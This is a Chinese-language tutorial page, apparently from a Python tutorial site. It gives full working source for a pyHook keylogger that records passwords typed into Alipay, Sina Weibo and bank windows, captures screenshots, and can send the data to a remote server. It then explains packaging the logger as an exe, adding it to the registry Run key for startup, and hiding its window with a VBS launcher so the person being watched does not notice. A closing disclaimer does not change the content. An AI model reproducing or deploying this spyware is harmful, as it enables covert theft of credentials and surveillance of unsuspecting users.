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HomeBackend DevelopmentPython TutorialPython利用pyHook实现监听用户鼠标与键盘事件

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages() 

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

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